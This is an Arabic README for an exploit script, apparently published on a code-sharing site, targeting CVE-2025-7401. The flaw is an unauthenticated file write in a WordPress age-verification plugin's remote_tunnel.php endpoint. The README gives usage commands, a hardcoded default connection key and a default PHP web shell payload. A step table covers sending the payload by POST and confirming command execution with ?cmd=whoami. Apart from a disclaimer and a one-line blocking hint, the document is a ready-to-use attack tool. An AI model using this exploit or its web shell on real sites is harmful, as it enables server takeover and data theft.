
Premium Age Verification / Restriction for WordPress <= 3.0.2 - قراءة وكتابة ملفات عشوائية بدون مصادقة
التحقق من العمر / التقييد المتميز لـ WordPress <= 3.0.2 - قراءة وكتابة ملفات تعسفية بدون مصادقة
تحتوي إضافة «التحقق من العمر / التقييد المتميز لـ WordPress» على نقطة نهاية دعم عن بُعد غير محمية بشكل كافٍ في remote_tunnel.php. في الإصدارات المتأثرة حتى 3.0.2 وما يشملها، يمكن إساءة استخدام نقطة النهاية هذه لقراءة وكتابة ملفات تعسفية بدون مصادقة. قد يؤدي الاستغلال الناجح إلى كشف معلومات حساسة أو السماح بتنفيذ تعليمات برمجية عن بُعد.
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php وحظرها./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php مع المعاملات: action=save_file وfile وfile_content.remote_init.php.إذا اكتشفت هذه الثغرة على بنية تحتية تابعة لجهة خارجية:
الاستخدام غير المصرح به لأدوات اختبار الثغرات غير قانوني في العديد من السلطات القضائية. هذا المستودع والسكربت مخصصان حصريًا للبحث الدفاعي والاختبار المصرح به والإفصاح المنسق عن الثغرات. احصل دائمًا على إذن كتابي صريح قبل اختبار أنظمة لا تملكها.
لا يتحمل المؤلف والمساهمون أي مسؤولية عن إساءة استخدام المعلومات أو الأدوات. استخدم هذه المادة فقط ضمن الحدود القانونية والأخلاقية.
بواسطة: Nxploited ( Khaled Alenazi )
| الخيار | النوع | الافتراضي | الوصف |
|---|
| -u, --url | string | مطلوب | نطاق الهدف أو عنوان URL جزئي. سيُلحق السكربت نقطة نهاية الإضافة عند الحاجة. أمثلة: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | مفتاح الاتصال المستخدم بواسطة نقطة نهاية الدعم عن بُعد. يمكن تجاوزه لأهداف المختبر إذا لزم الأمر. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | مقتطف PHP يتم حقنه كمحتوى الملف. غيّره فقط للاختبار المصرح به. |
| --no-verify | flag | false | إذا كان موجودًا، لن ينفذ السكربت التحقق الاختياري عبر GET للملف المكتوب. |
| الخطوة | الإجراء | التفاصيل |
|---|
| 1 | توحيد صيغة الإدخال | يقبل إدخال المستخدم (نطاق أو مسار جزئي). يضمن وجود البروتوكول (http:// إذا كان مفقودًا)، ويزيل الشرطات المائلة المكررة، ويُلحق /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php إذا لم تكن نقطة النهاية موجودة. |
| 2 | بناء الترويسات | ينشئ ترويسات طلبات HTTP واقعية (تدوير اختيار User-Agent، Accept، Referer، Content-Type). |
| 3 | ترميز الحمولة | يرمّز مقتطف PHP المُقدَّم بترميز Base64 ويضعه في file_content. |
| 4 | طلب الاستغلال POST | يرسل connection_key وaction=save_file وfile (مسار الخادم) وfile_content إلى نقطة نهاية remote_tunnel.php المُوحَّدة عبر application/x-www-form-urlencoded. |
| 5 | تحليل الاستجابة | يحاول تحليل JSON من جسم الاستجابة. إذا وُجد JSON، يطبع status وfile_path؛ وإلا يطبع الاستجابة الخام المنظفة. |
| 6 | التحقق (اختياري) | يحاول إرسال GET إلى /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami للتحقق مما إذا كان الملف المحقون متاحًا ويعيد محتواه. اختياري عبر --no-verify. |
| 7 | إعداد التقرير | يطبع تقريرًا منظمًا وقابلًا للقراءة يتضمن نقطة النهاية المستخدمة وحالة HTTP وJSON المحلَّل (إن وُجد) وعنوان URL المتوقع للشل ومخرجات التحقق المقتطعة (إذا نجحت). |
| حقل المخرجات | المعنى | مثال |
|---|
| نقطة النهاية المستهدفة | عنوان URL النهائي المُوحَّد الذي تم الاتصال به (المسار الكامل إلى remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| رمز حالة HTTP | رمز استجابة HTTP من طلب POST. غالبًا ما يشير 200 إلى معالجة الطلب. | 200 |
| حالة JSON في الاستجابة | إذا أعادت نقطة النهاية JSON، فإن حقل status يبلغ عن النجاح/الفشل. | valid |
| file_path في JSON للاستجابة | المسار من جانب الخادم الذي تعيده نقطة النهاية ويُظهر مكان كتابة الملف (للغرض المعلوماتي). | /var/www/html/wp-content/.../remote_init.php |
| الاستجابة الخام | جسم استجابة غير JSON (منظف) مثل إشعارات أو رسائل PHP. | Notice: ... |
| عنوان URL المتوقع للشل | عنوان URL العام الذي سيكون الملف المحقون متاحًا عنده. استخدمه فقط للتحقق في الاختبارات المصرح بها. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| حالة HTTP للتحقق | حالة HTTP للتحقق الاختياري عبر GET. | 200 |
| جسم التحقق (مقتطع) | أول N حرفًا من جسم استجابة التحقق (مفيد لرؤية مخرجات الأمر). | www-data |